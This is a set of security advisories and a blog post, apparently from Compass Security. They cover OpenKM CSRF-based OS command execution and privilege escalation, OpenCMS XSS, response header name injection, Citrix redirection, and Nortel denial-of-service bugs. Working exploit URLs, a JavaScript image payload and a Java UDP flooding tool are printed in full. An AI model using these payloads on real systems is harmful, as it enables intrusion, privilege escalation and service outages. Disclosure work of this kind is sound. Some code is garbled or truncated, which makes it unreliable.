BeanShell puts Java Application Servers at Risk

Developers increasingly integrate BeanShell support into web applications to provide end users and administrators with a simple extension framework. But be warned! BeanShell support without appropriate access control will put the hosting web server at severe risk. An attacker could easily execute operating system calls and without appropriate system hardening such an attack will immediately result in full system compromise.

The BeanShell[1] is an environment that provides execution of Java code snippets in the web application context. The shell supports full Java language syntax and some loose structures for convenience. Be aware, to run code within an Java Virtual Machine (JVM) means to run code on the server. The following screenshot shows BeanShell enabled web application that just run a hello world command.

However, to be able to do some meaningful attacks one must first overcome and understand some limitations of the Java Runtime.getRuntime().exec() method. Simply putting a whole command into the exec method will not run properly since Java will internally tokenize the String and redirect IO streams. The first argument will be taken as executable. All remaining tokens will be passed as parameters to the executable. Thus, the below statement will not work as intended because the “-c” parameter awaits a single argument.

Runtime.getRuntime().exec("/bin/sh -c /bin/echo pwned > /tmp/poc"};

Following that, command injection in Java is a difficult thing to do since the attacker mostly just gains control over the parameters. However, in BeanShell we are pretty free to choose from the whole arsenal of Java API classes and methods. Finally, a correct call would look like:

String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned > /tmp/poc"};
Runtime.getRuntime().exec(cmd);

That way, Java will pass “/bin/echo pwned > /tmp/poc” correctly. Unfortunately, there is another limitation on the IO streams. Thus, to read and process the output of a command the InputStream classes will be needed. The following snippet is a working example with the Unix list directory (ls) command.

import java.io.*;

try {
    Process ls_proc = Runtime.getRuntime().exec(“/bin/ls -lah”);
    DataInputStream lsin = new DataInputStream(lsproc.getInputStream());
    String ls_str;

    while ((lsstr = lsin.readLine()) != null)
        print(ls_str + ” “);

} catch (IOException e) {
}

So, you might be asking yourself how this ex-course on the Runtime class’s exec method is related to BeanShell support in web applications?

I have published an advisory[3] on insufficient access control of an integrated BeanShell in an Enterprise Java (J2EE) based document management system software (OpenKM). An attacker could prepare en evil e-mail or website that runs a malicious command on the server if the OpenKM administrator clicks on the link or visits the prepared website.

For example, an attacker would simply embed the below JavaScript exploit code into a web page to cause writing a proof of concept file into the /tmp folder.

img = new Image();
img.src=”http://example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%2Fpoc%22%7D%3BRuntime.getRuntime%28%29.exec%28cmd%29%3B”

Related vulnerabilities are often seen in administrative interfaces of web apps. The attack scheme is also known as Cross-site Request Forgery or XSRF[4]. There are several ways to approach the issue. Either ensure proper access controls[5] or lock down the JVM using Java security policies and the Security Manager[6]. In the end, system hardening may help limiting collateral damage in case of successful attacks.

References
[1] http://www.beanshell.org/
[2] http://www.ensta-paristech.fr/~diam/java/online/io/javazine.html
[3] http://www.csnc.ch/misc/files/advisories/COMPASS-2012-002openkmxsrfoscommand_execution.txt
[4] https://www.owasp.org/index.php/Cross-SiteRequestForgery_%28CSRF%29
[5] https://www.owasp.org/index.php/Cross-SiteRequestForgery%28CSRF%29PreventionCheatSheet
[6] http://docs.oracle.com/javase/7/docs/api/java/lang/RuntimePermission.html

OpenKM 5.1.7 OS Command Execution (XSRF based)

########################################################################
#
# COMPASS SECURITY ADVISORY http://www.csnc.ch/
########################################################################
#
# ID:      COMPASS-2012-002
# Product: OpenKM Document Management System 5.1.7 [1]
# Vendor:  OpenKM
# Subject: Cross-site Request Forgery based OS Command Execution
# Risk:    High
# Effect:  Remotely exploitable
# Author:  Cyrill Brunschwiler (cyrill.brunschwiler@csnc.ch)
# Date:    January 3rd 2012
#
#########################################################################

Description:
------------
Cyrill Brunschwiler, Security Analyst at Compass Security Network Computing,
Switzerland discovered a web application issue based OS command execution flaw
in the OpenKM solution. OpenKM does allow administrative users (having the
AdminRole) to run bean shell scripts. Due to the flaw, an attacker could lure
an OpenKM administrator to a malicious web page that causes arbitrary OS
commands being run in the administrators OpenKM session context. This is
possible because OpenKM does not implement access control mechanisms to avoid
so called Cross-site Request Forgery [2] (a.k.a. CSRF, XSRF, session riding,
forceful browsing). The commands are being executed silently. In the end, this
allows an attacker to run OS commands with the privileges of the process owner
of the application server (JBOSS).

Vulnerable:
-----------
OpenKM 5.1.7 and most likely prior versions (unconfirmed)

Not vulnerable:
---------------
OpenKM version 5.1.8

Fix:
----
To avoid this issue the application must introduce Anti-XSRF tokens for the
web-based administrative interface. To avoid arbitrary command execution the
admin/scripting.jsp could be removed from the OpenKM.ear before the
application is being deployed. Note, the cron job functionality allows to run
*.jar and BeanShell scripts as well.

Exploit:
--------
Login as administrator (having the AdminRole) and call the URL in a different
browser window
http://example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%2Fpoc%22%7D%3BRuntime.getRuntime%28%29.exec%28cmd%29%3B

Alternatively the administrator could browse a prepared HTML page in a new tab



img = new Image();
img.src="http://example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B"




The above exploit does nothing else than just creating a file in /tmp

String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned > /tmp/poc"};
Runtime.getRuntime().exec(cmd);

Some might also want to browse directories
http://example.com/OpenKM/admin/scripting.jsp?script=import+java.io.*%3Btry+%7B++++String+ls_str%3B++++Process+ls_proc+%3D+Runtime.getRuntime%28%29.exec%28%22%2Fbin%2Fls+-lah%22%29%3B++++DataInputStream+ls_in+%3D+new+DataInputStream%28ls_proc.getInputStream%28%29%29%3B++++while+%28%28ls_str+%3D+ls_in.readLine%28%29%29+%21%3D+null%29+++++++++++++++++++print%28ls_str+%2B+%22%3Cbr%3E%22%29%3B%7D+catch+%28IOException+e%29+%7B%7D

import java.io.*;

try {
    String ls_str;
    Process ls_proc = Runtime.getRuntime().exec("/bin/ls -lah");
    DataInputStream ls_in = new DataInputStream(ls_proc.getInputStream());

    while ((ls_str = ls_in.readLine()) != null)
        print(ls_str + "
");

} catch (IOException e) {
}

Timeline:
---------
August 6th, Vulnerability discovered
August 9th, Vendor contacted
August 10th, Vendor notified
December 1st, Patched version released
January 2nd, Advisory released

References:
-----------
[1] OpenKM http://www.openkm.com
is an Free/Libre document management system that provides a web interface for
managing arbitrary files. OpenKM includes a content repository, Lucene
indexing, and jBPM workflow. The OpenKM system was developed using Java
technology.

[2] Cross-site Request Forgery https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
CSRF is an attack which forces an end user to execute unwanted actions on a
web application in which he/she is currently authenticated. With a little help
of social engineering (like sending a link via email/chat), an attacker may
force the users of a web application to execute actions of the attacker's
choosing. A successful CSRF exploit can compromise end user data and operation
in case of normal user. If the targeted end user is the administrator account,
this can compromise the entire web application.

OpenKM 5.1.7 Privilege Escalation

#############################################################
#
# COMPASS SECURITY ADVISORY http://www.csnc.ch/
#############################################################
#
# ID:      COMPASS-2012-001
# Product: OpenKM Document Management System 5.1.7 [1]
# Vendor:  OpenKM
# Subject: Privilege Escalation, Improper Access Control
# Risk:    High
# Effect:  Remotely exploitable
# Author:  Cyrill Brunschwiler (cyrill.brunschwiler@csnc.ch)
# Date:    January 3rd 2012
#
#############################################################

Description:
------------
Cyrill Brunschwiler, Security Analyst at Compass Security Network Computing,
Switzerland discovered an authorization flaw in the OpenKM solution. OpenKM
does allow application administrators to manage users and to assign roles.
Unfortunately, a standard user having the UserRole may alter the roles of
existing account. This is possible because OpenKM does not properly check
for the sufficient privileges. The changes are being applied even though the
OpenKM user interface displays an "insufficient privileges" message to the
unprivileged user.

Vulnerable:
-----------
OpenKM version 5.1.7 and most likely prior versions (unconfirmed)

Not vulnerable:
---------------
OpenKM version 5.1.8.

Workaround:
-----------
Grant access to /OpenKM/admin path to specific IPs only (requires additional
WAF or Reverse Proxy setup[2])

Exploit:
--------
Login as low privileged User (having the UserRole) and call the following
URL to gain administrative privileges.

Upgrade Existing User (add AdminRole)
http://example.com/OpenKM/admin/Auth?action=userEdit&persist=true&usr_id=usr&usr_active=on&usr_roles=AdminRole

Timeline:
---------
August 6th, Vulnerability discovered
August 9th, Vendor contacted
August 10th, Vendor notified
December 1st, Patched version released
January 2nd, Advisory released

References:
-----------
[1] OpenKM http://www.openkm.com
is an Free/Libre document management system that provides a web interface for
managing arbitrary files. OpenKM includes a content repository, Lucene
indexing, and jBPM workflow. The OpenKM system was developed using Java
technology.

[2] Open Source Web Entry Server
Talk at OWASP Appsec Washington D.C. in November 2010 about setting up an
Apache based Open Source Web Entry Server
https://www.owasp.org/images/f/f4/AppSecDC_Open_Source_Web_Entry_Server_V2.2.ppt

OpenCMS OAMP Comments Module 1.0.0 XSS

#######################################################################
# COMPASS SECURITY ADVISORY http://www.csnc.ch/
#######################################################################
#
# CVE ID : CVE-2009-4505
# Product: OpenCMS OAMP Comments Module 1.0.0
# Vendor:  Open Source, Alkacon GmbH (Cologne, Germany)
# Subject: Cross-site scripting (XSS)
# Risk:    High
# Effect:  Remotely exploitable
# Author:  Cyrill Brunschwiler (cyrill.brunschwiler@csnc.ch)
# Date:    December 24th 2009
#
#######################################################################

Introduction:
-------------
Cyrill Brunschwiler of Compass Security discovered a web application
security flaw in the OpenCMS OAMP comments module.

Vulnerable:
-----------
OAMP comments module version 1.0.0

Patches:
--------
Get the latest version from the opencms cvs at http://cvs.opencms.org/

Fix:
----
All output must be encoded using HTML entities. For that purpose the
escapeXml attribute must not being set false on all c:out tags. Moreover,
all fmt:param outputs must be encoded as well.

Example:

 

Alternatively one could use the OWASP ESAPI (Enterprise Security API) to
encode all output. For more details on the OWASP ESAPI consult the google
code repository and see http://www.owasp.org/index.php/ESAPI 

Example:
String clean = ESAPI.encoder().encodeForHTML(maliciousInput);

Description:
------------
The OAMP comments module allows OpenCMS users to add comments to pages.
However, the comment module reflects unfiltered user input. Following
that, attackers could injected HTML code and JavaScript code which gets
executed within all visitors web browsers. 

Exploiting the vulnerability will lead to so-called cross-site scripting
(XSS) and allows the impersonation of logged-in OpenCMS web and workplace
users. Attackers could also embbed arbitrary content such as faked login
forms or redirect OpenCMS users to malware pages.

Milestones:
-----------
December 24th 2009, Vulnerability discovered
January 6th 2010, Vendor notified
March 13rd 2010, Fixed in CVS (m.jaeger)

References:
-----------
OpenCMS - http://www.opencms.org/en/

OpenCms from Alkacon Software is a professional, easy to use website
content management system. OpenCms helps content managers worldwide to
create and maintain beautiful websites fast and efficiently.

OpenCMS OAMP Modules - http://www.alkacon.com/en/products/oamp/index.html

The Alkacon OpenCms Add-On Module Package (also called OAMP) is a set of
free, open source extension modules for OpenCms. Alkacon OAMP adds front-
end related features to OpenCms that may be useful in case special
functionalities are required.

XSS - http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Cross-Site Scripting attacks are a type of injection problem, in which
malicious scripts are injected into the otherwise benign and trusted web
sites. Cross-site scripting (XSS) attacks occur when an attacker uses a
web application to send malicious code, generally in the form of a browser
side script, to a different end user. Flaws that allow these attacks to
succeed are quite widespread and occur anywhere a web application uses
input from a user in the output it generates without validating or
encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting
user. The end user’s browser has no way to know that the script should not
be trusted, and will execute the script. Because it thinks the script came
from a trusted source, the malicious script can access any cookies,
session tokens, or other sensitive information retained by your browser
and used with that site. These scripts can even rewrite the content of the
HTML page.

Response Header Name Injection Attack

#############################################################
#
# COMPASS SECURITY ADVISORY http://www.csnc.ch/
#
#############################################################
#
# Product: Generic Web Application Vulnerability
# Subject: Response Header Name Injection Attack
# Effect:  Remotely exploitable, Browser Hijacking
# Author:  Cyrill Brunschwiler (cyrill.brunschwiler@csnc.ch)
# Date:    March, 15th 2009
#
#############################################################

Introduction:
-------------
Numerous web application injection attacks have been known for some time
now. Injection attacks share the common issue that attackers may cause a
system to turn data into a valid command or markup language. Thus an
attacker can escape the data context and enter the surrounding framework
such as HTML, JavaScript, SQL, LDAP and so on.

Cyrill Brunschwiler of Compass Security, a Swiss Company specialized in
Penetration Testing and Security Reviews, discovered a special form of
browser redirection or browser hijacking. Victims may be redirected or
hijacked to arbitrary web sites in case a web application takes
unfiltered user input for a response header name. We call this Response
Header Name Injection.

The issue is clearly distinguishable from the known Response Splitting
attack since the Response Header Name Injection attack vector does not
include any control characters such as carriage returns or line feeds
(CR/LF)

Details:
--------
Assume the following code snippet in a web application:
-
headerName = request.getParameter("param"); response.addHeader(headerName, "x");

The application is installed at http://www.csnc.ch/. Following that, an
attacker could call the application as follows:
-
http://www.csnc.ch/?param=Refresh: 0;http://www.example.com/#

The application will return the below header which will cause the browser
to load the referenced URL (www.example.com) after the defined timeout
(0 seconds).
-
HTTP/1.1 200 OK
Refresh: 0;http://www.example.com/#: x
...

Astonishingly, the refresh header is not an official header such as those
described in RFC2616. However most web browser support the header in a
flexible manner. The following forms are accepted by common web browsers:
-
Refresh: 0; http://www.example.com/
Refresh: 0; url=http://www.example.com/

Furthermore, the Set-Cookie header could be used to fixate session cookies
in applications which suffer session fixation but accept cookies only. An
attack would then look like:
-
http://www.csnc.ch/?param=Set-Cookie: id=123;

For a list of response headers see:
http://en.wikipedia.org/wiki/List_of_HTTP_headers

Remediation:
------------
RFC2616 defines that a field-name (header name) may be a token which
includes any CHAR except CTLs or separators. The standard also makes clear
that the colon is definitely a separator and must not be part of a header
name. Therefore, vendors should update their server APIs to enforce this
requirement and to reject header names containing colons.

Excerpt of RFC2616
-
token          = 1*
separators     = "(" | ")" | "" | "@"
               | "," | ";" | ":" | "\" | 
               | "/" | "[" | "]" | "?" | "="
               | "{" | "}" | SP | HT

However, as long as the frameworks do not properly implement the standard,
developers must take care of the issue. Thus, applications must not take
unfiltered input (well, we had that before, right?). Parameters that are
taken for server names must not contain colons (:). Therefore, remove colons
or replace colons with an appropriate representation. It is suggested not to
use any other separator to avoid conflicts.

Known vulnerable Servers and APIs:
----------------------------------
APIs delivered with the below listed servers have been identified to be
vulnerable to Response Header Name Injection Attacks since these APIs allow
colons in header names. It is very likely that there are further APIs or
application servers which suffer this generic issue as well.

- Apache Tomcat 5.5.25
- Apache Tomcat 6.0.18
- Oracle WebLogic Server 9.2
- IBM WebSphere Application Server 7.0
- Novell Mono 2
- Microsoft IIS 6

Known good Servers and APIs:
----------------------------
- None

Note:
-----
Research did not bring up any information on the topic. This is most likely
due to developers seldom setting server response headers to dynamic content.
Nonetheless, it was spotted in the wild.

Citrix Access Gateway Redirection Vulnerability

#############################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product:   Access Gateway (Appliance) a.k.a. CAG
# Vendor:    Citrix
# CVE ID:    CVE-2007-4018 (CTX113816)
# Subject:   Redirection Vulnerability
# Severity:  Medium
# Effect:    Remotely exploitable
# Author:    Cyrill Brunschwiler
# Date:      April 15th 2008
#
#############################################################

Introduction:
-------------
Vulnerabilities have been identified in Access Gateway Advanced Edition that
may allow an attacker to redirect a user to an arbitrary web site. It may be
possible for an attacker to exploit this type of behavior to facilitate
phishing attacks.

Affected:
---------
These vulnerabilities affect all versions of Access Gateway Advanced Edition
when deployed with an Access Gateway appliance with firmware version up to
and including 4.5.2. Access Gateway Standard and Access Gateway Enterprise
Editions are not vulnerable to these issues.

- Access Gateway 4.5 Advanced Edition
- Access Gateway 4.5 Standard Edition
- Advanced Access Control 4.2

Description:
------------
Client web browsers will be redirected to the SSL protected web service in
case the remote user requested an unencrypted CAG web page. This behavior
helps to ensure that further data packets will be transmitted over encrypted
(SSL) channels only. However, if an attacker spoofs the virtual domain header
then the client gets redirected to the spoofed domain. This allows various
forms of hijacking and phishing.

host:~ # netcat 123.123.123.123 80
GET / HTTP/1.1
host: www.hacker.org

HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache
Connection: close
Accept-Ranges: none
Location: https://www.hacker.org:443/

CAG is expected to redirect to trusted domains only (to itself or to the
customer’s domains only).

Patches:
--------
This vulnerability has been addressed in the Access Gateway firmware version
4.5.5.  Due to this, it is strongly recommends that customers upgrade their
Access Gateway appliance to firmware version 4.5.5 and upgrade to Access
Gateway Advanced Edition 4.5 HF1. These upgrades can be obtained from the
following locations:

- Access Gateway Appliance firmware 4.5.5:
  http://support.citrix.com/article/CTX114028

- Advanced Access Control HF1:
  http://support.citrix.com/article/CTX112803

Timeline:
---------
Vendor Status:        Patch released
Vendor Notified:    June, 14th 2007
Vendor Response:    June, 27th 2007
Patch Available:    July, 19th 2007
Issue Confirmed:    July, 18th 2008
Advisory Release:    April, 25th 2008

References:
-----------
- CTX113816, Vulnerabilities in CAG Advanced Edition could allow redirection
  to arbitrary web sites, http://support.citrix.com/article/CTX113816

- AusCERT, Citrix Access Gateway and Advanced Access Control multiple
  vulnerabilities, http://www.auscert.org.au/render.html?it=7880

Citrix Access Gateway Advanced Session Hijacking

#############################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product:   Access Gateway Advanced a.k.a. CAG
# Vendor:    Citrix
# CVE ID:    CVE-2007-0011 (CTX113814)
# Subject:   Session Hijacking and Information Disclosure
# Severity:  Medium
# Effect:    Remotely exploitable
# Author:    Cyrill Brunschwiler
# Date:      April 15th 2008
#
#############################################################

Introduction:
-------------
When using Access Gateway Advanced Edition, residual information left in the
client web browser and on the client computer could allow an attacker to gain
unauthorized access to a user’s Citrix session.

Affected:
---------
This vulnerability is present in all versions of Access Gateway Advanced
Edition up to and including version 4.5.

- Access Gateway 4.5 Advanced Edition
- Access Gateway 4.5 Standard Edition
- Advanced Access Control 4.2
- Advanced Access Control Option 4.0

Description:
------------
The login form does not properly restrict the common web browser autocomplete
feature where the web browser stores input field information. Therefore, the
login credentials are stored in the browser cache for future use and might be
revealed to attackers which have access to the victim’s computer. This is
especially critical in Internet café environments.

  ...

Remediation:
------------
Either add the autocomplete=off attribute to the form tag or add the
autocomplete=off attribute to every critical input tag to avoid the
vulnerability.

Patches:
--------
This vulnerability has been addressed in the Access Gateway firmware version
4.5.5.  Due to this, it is strongly recommends that customers upgrade their
Access Gateway appliance to firmware version 4.5.5 and upgrade to Access
Gateway Advanced Edition 4.5 HF1. These upgrades can be obtained from the
following locations:

- Access Gateway Appliance firmware 4.5.5:
  http://support.citrix.com/article/CTX114028

- Advanced Access Control HF1:
  http://support.citrix.com/article/CTX112803

Timeline:
---------
Vendor Status:        Patch released
Vendor Notified:    June, 14th 2007
Vendor Response:    June, 27th 2007
Patch Available:    July, 19th 2007
Issue Confirmed:    July, 18th 2008
Advisory Release:    April, 25th 2008

References:
-----------
CTX113816, Vulnerabilities in CAG Advanced Edition could allow redirection
to arbitrary web sites, Link: http://support.citrix.com/article/CTX113816

OWASP Guide:
http://www.owasp.org/index.php/Authentication#Browser_remembers_passwords

Nortel Communication Server CS1000 DoS Vulnerability

#############################################################
#
# COMPASS SECURITY ADVISORY http://www.csnc.ch/
#
#############################################################
#
# Product: Telephony Server
# Vendor:  Nortel
# Subject: Telephony Server Denial of Service
# Risk:    High
# Effect:  Currently exploitable
# Author:  Cyrill Brunschwiler (cyrill.brunschwiler (at) csnc (dot) ch
# Date:    October, 18th 2007
#
#############################################################

Introduction:
-------------
A malicious user who can send a flood of packets to specific ELAN ports on
the Telephony Server is able to crash the telephony application. The server
needs to be rebooted to resume normal operation.

Nortel has noted this as:
Title:  Potential CS1000 DoS Vulnerability
Number: 2007008384
http://support.nortel.com/go/main.jsp?cscat=SECUREADVISORY

Vulnerable:
-----------
Communication Server 1000
and others.

See associated products on the Nortel advisory.

Vulnerability Management:
-------------------------
June 2007:    Vulnerability found
June 2007:    Nortel Security notified
October 2007: Nortel Advisory available
October 2007: Compass Security Information

Remediation:
------------
Follow the recommended actions for the affected systems, as identified in
the Nortel Advisory.

Proof-Of-Concept:
-----------------
A malicious user who can send packets to open ports (TCP 7734, TCP 15000,
TCP 15080, UDP 15000) on the E-LAN on the Telephony Server is able to crash
the telephony application. The server needs to be rebooted to resume normal
operation.

Tools used for fuzzing open ports:
isic, tcpsic, udpsic - http://packetstorm.linuxsecurity.com/groups/teso

Nortel IP Softphone 2050 Buffer Overflow

#############################################################
#
# COMPASS SECURITY ADVISORY http://www.csnc.ch/
#
#############################################################
#
# Product: IP Softphone
# Vendor:  Nortel
# Subject: UNIStim IP Softphone Buffer-Overflow
# Risk:    High
# Effect:  Currently not exploitable
# Author:  Cyrill Brunschwiler (cyrill.brunschwiler (at) csnc (dot) ch
# Date:    October, 18th 2007
#
#############################################################

Introduction:
-------------
Flooding an UNIStim IP Softphone on the RTCP Port with garbage immediately
results in a Microsoft Windows error message which is mostly caused by
memory corruption (buffer overflow).
This vulnerability may be exploitable to gain user privileges on the client
workstation and execute malicious commands or code.

Nortel has noted this as:
Title:  UNIStim IP Softphone - Potential Vulnerability Due to Buffer Overflow
Number: 2007008382
http://support.nortel.com/go/main.jsp?cscat=SECUREADVISORY

Vulnerable:
-----------
IP Softphone 2050

Vulnerability Management:
-------------------------
June 2007:    Vulnerability found
June 2007:    Nortel Security notified
October 2007: Nortel Advisory available
October 2007: Compass Security Information

Remediation:
------------
According to Nortel the vulnerability is still under investigation.
The Nortel advisory will be reissued if the investigation results in new
prevention information.

Proof-Of-Concept Source Code:
-----------------------------
Flood.java
/**
 * June, 2007 - Cyrill Brunschwiler - COMPASS SECURITY AG
 *
 * No warranty, all rights reserved.
 */

package ch.csnc.udpollution;

import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetSocketAddress;
import java.util.Random;

public class Flood {

    private static DatagramSocket m_socket = null;
    private static InetSocketAddress m_address = null;
    private static long m_start;
    private static int m_default = -1;
    private static Random m_rand = new Random();

    /**
     * @param args
     */
    public static void main(String[] args) {

        try {
            m_address = new InetSocketAddress(args[0], Integer.parseInt(args[1]));
            m_socket = new DatagramSocket(Integer.parseInt(args[2]));

            String packetType = args[3];
            long count = Integer.parseInt(args[4]);
            int maxlen = m_default;

            try {
                maxlen = Integer.parseInt(args[5]);
            } catch (RuntimeException e) {
            }

            System.out.println("Target: " + m_address.getAddress().getHostAddress() +":" + m_address.getPort());
            System.out.println("Packet: " + packetType);
            System.out.print("\nflooding.");
            m_start = System.currentTimeMillis();
            byte[] data;

            if ("resume".equals(packetType)) {

                String resume = "FFFFFFFF" + "0202" + "FFFFFFFF";
                byte [] overlay = Hexadecimal.parseSeq(resume);

                for (int i=1; i<=count; i++) {

                    if (maxlen == -1) {
                        data =  Hexadecimal.parseSeq(resume + "9e0308");
                    }
                    else {
                        data = new byte[m_rand.nextInt(maxlen) + 10];
                        m_rand.nextBytes(data);

                        for (int j=0; j 20 && i % (count/20) == 0)
                        System.out.print(".");
                }
            }
            if ("garbage".equals(packetType)) {

                for (int i=1; i<=count; i++) {                     data = new byte[m_rand.nextInt(maxlen)];                     m_rand.nextBytes(data);                     sendData(data);                     if (count > 20 && i % (count/20) == 0)
                        System.out.print(".");
                }
            }

            long time = (System.currentTimeMillis() - m_start)/1000;
            long avg = count;

            if (time > 0)
                avg = count/time;

            System.out.println(" done in " + time + "s; avg. " +avg+ " packets/s");

        } catch (Exception e) {
            System.out.println("\nusage: java ch.csnc.udpollution.Flood destIP destPort sourcePort packetType packetAmount [packetLength]");
            System.out.println("       java ch.csnc.udpollution.Flood 1.2.3.4 5678 9012 garbage 4000 30\n");

            e.printStackTrace();
        }
    }

    private static void sendData(byte [] data) throws IOException {

        int len = data.length;

        DatagramPacket packet = new DatagramPacket(new byte[len], len);
        packet.setAddress(m_address.getAddress());
        packet.setPort(m_address.getPort());
        packet.setData(data);
        packet.setLength(len);
        m_socket.send(packet);
    }
}

Hexadecimal.java
package ch.csnc.udpollution;

import java.util.StringTokenizer;

/*
 * @(#)Hexadecimal.java
 *
 * IBM Confidential-Restricted
 *
 * OCO Source Materials
 *
 * 03L7246 (c) Copyright IBM Corp. 1996, 1998
 *
 * The source code for this program is not published or otherwise
 * divested of its trade secrets, irrespective of what has been
 * deposited with the U.S. Copyright Office.
 */

/**
 * The Hexadecimal class
 *
 * @version     1.00    $Date: 2001/07/28 06:33:13 $
 * @author      ONO Kouichi
 */

public class Hexadecimal {
    private String _hex = null;
    private int _num = 0;

    /**
     * Constructs a hexadecimal number with a byte.
     * @param num a byte
     */
    public Hexadecimal(byte num) {
        _hex = valueOf(num);
        _num = (int)num;
    }
    /**
     * Constructs a hexadecimal number with a integer.
     * @param num a integer
     */
    public Hexadecimal(int num) {
        _hex = valueOf(num);
        _num = (int)num;
    }
    /**
     * Constructs a hexadecimal number with a short integer.
     * @param num a short integer
     */
    public Hexadecimal(short num) {
        _hex = valueOf(num);
        _num = (int)num;
    }
    /**
     * Gets a byte value.
     * @return a byte of the hexadecimal number
     */
    public byte byteValue() throws NumberFormatException {
        if (_num > 255 || _num < 0) {             throw new NumberFormatException("Out of range for byte.");         }          return (byte)_num;     }     // -   /**     // -    * Constructs a hexadecimal number with a long integer.     // -    * @param num a long integer     // -    */     // -   public Hexadecimal(long num) {     // -     _hex = valueOf(num);     // -     _num = (int)num;     // -   }     /**      * Gets a string in hexadecimal notation.      * @return string in hexadecimal notation of the number      */     public String hexadecimalValue() {         return _hex;     }     /**      * Gets a integer value.      * @return a integer of the hexadecimal number      */     public int intValue() throws NumberFormatException {         if (_num > 4294967295L || _num < 0) {
            throw new NumberFormatException("Out of range for integer.");
        }
        return (int)_num;
    }
    public static void main(String[] args) {
        StringBuffer buff = new StringBuffer();

        for (int i = 0; i < args.length; i++) {
            buff.append(args[i]);
        }
        try {
            byte[] seq = parseSeq(buff.toString());

            for (int i = 0; i < seq.length; i++) {
                System.out.print(seq[i] + " ");
            }
            System.out.println("");
        } catch (NumberFormatException excpt) {
            System.err.println(excpt.toString());
        }
    }
    // -   /**
    // -    * Converts a string in hexadecimal notation into long integer.
    // -    * @param hex string in hexadecimal notation
    // -    * @return a long integer (8bytes)
    // -    */
    // -   public static long parseLong(String hex) throws NumberFormatException {
    // -     if(hex==null) {
    // -       throw new IllegalArgumentException("Null string in hexadecimal notation.");
    // -     }
    // -     if(hex.equals("")) {
    // -       return 0;
    // -     }
    // -
    // -     return Integer.decode("0x"+hex).longValue();
    // -   }

    /**
     * Converts a pair of characters as an octet in hexadecimal notation into integer.
     * @param c0 higher character of given octet in hexadecimal notation
     * @param c1 lower character of given octet in hexadecimal notation
     * @return a integer value of the octet
     */
    public static int octetValue(char c0,
                                 char c1) throws NumberFormatException {
        int n0 = Character.digit(c0, 16);

        if (n0 < 0) {
            throw new NumberFormatException(c0
                                            + " is not a hexadecimal character.");
        }
        int n1 = Character.digit(c1, 16);

        if (n1 < 0) {
            throw new NumberFormatException(c1
                                            + " is not a hexadecimal character.");
        }
        return (n0 << 4) + n1;     }     /**      * Converts a string in hexadecimal notation into byte.      * @param hex string in hexadecimal notation      * @return a byte (1bytes)      */     public static byte parseByte(String hex) throws NumberFormatException {         if (hex == null) {             throw new IllegalArgumentException("Null string in hexadecimal notation.");         }          if (hex.equals("")) {             return 0;         }          Integer num = Integer.decode("0x" + hex);         int n = num.intValue();         if (n > 255 || n < 0) {             throw new NumberFormatException("Out of range for byte.");         }          return num.byteValue();     }     /**      * Converts a string in hexadecimal notation into integer.      * @param hex string in hexadecimal notation      * @return a integer (4bytes)      */     public static int parseInt(String hex) throws NumberFormatException {         if (hex == null) {             throw new IllegalArgumentException("Null string in hexadecimal notation.");         }          if (hex.equals("")) {             return 0;         }          Integer num = Integer.decode("0x" + hex);         long n = num.longValue();         if (n > 4294967295L || n < 0L) {
            throw new NumberFormatException("Out of range for integer.");
        }
        return num.intValue();
    }
    /**
     * Converts a string in hexadecimal notation into byte sequence.
     * @param str a string in hexadecimal notation
     * @return byte sequence
     */
    public static byte[] parseSeq(String str) throws NumberFormatException {
        if (str == null || str.equals("")) {
            return null;
        }
        int len = str.length();

        if (len % 2 != 0) {
            throw new NumberFormatException("Illegal length of string in hexadecimal notation.");
        }
        int numOfOctets = len / 2;
        byte[] seq = new byte[numOfOctets];

        for (int i = 0; i < numOfOctets; i++) {
            String hex = str.substring(i * 2, i * 2 + 2);

            seq[i] = parseByte(hex);
        }
        return seq;
    }
    /**
     * Converts a string in hexadecimal notation into byte sequence.
     * @param str a string in hexadecimal notation
     * @param delimiters a set of delimiters
     * @return byte sequence
     */
    public static byte[] parseSeq(String str, String delimiters)
            throws NumberFormatException {
        if (str == null || str.equals("")) {
            return null;
        }
        if (delimiters == null || delimiters.equals("")) {
            return parseSeq(str);
        }
        StringTokenizer tokenizer = new StringTokenizer(str, delimiters);
        int numOfOctets = tokenizer.countTokens();
        byte[] seq = new byte[numOfOctets];
        int i = 0;

        while (tokenizer.hasMoreTokens() && i < numOfOctets) {             seq[i] = Hexadecimal.parseByte(tokenizer.nextToken());             i++;         }          return seq;     }     /**      * Converts a string in hexadecimal notation into short integer.      * @param hex string in hexadecimal notation      * @return a short integer (2bytes)      */     public static short parseShort(String hex) throws NumberFormatException {         if (hex == null) {             throw new IllegalArgumentException("Null string in hexadecimal notation.");         }          if (hex.equals("")) {             return 0;         }          Integer num = Integer.decode("0x" + hex);         int n = num.intValue();         if (n > 65535 || n < 0) {             throw new NumberFormatException("Out of range for short integer.");         }          return num.shortValue();     }     /**      * Gets a short integer value.      * @return a short integer of the hexadecimal number      */     public short shortValue() throws NumberFormatException {         if (_num > 65535 || _num < 0) {
            throw new NumberFormatException("Out of range for short integer.");
        }
        return (short)_num;
    }
    /**
     * Converts a byte sequence into its hexadecimal notation.
     * @param seq a byte sequence
     * @return hexadecimal notation of the byte sequence
     */
    public static String valueOf(byte[] seq) {
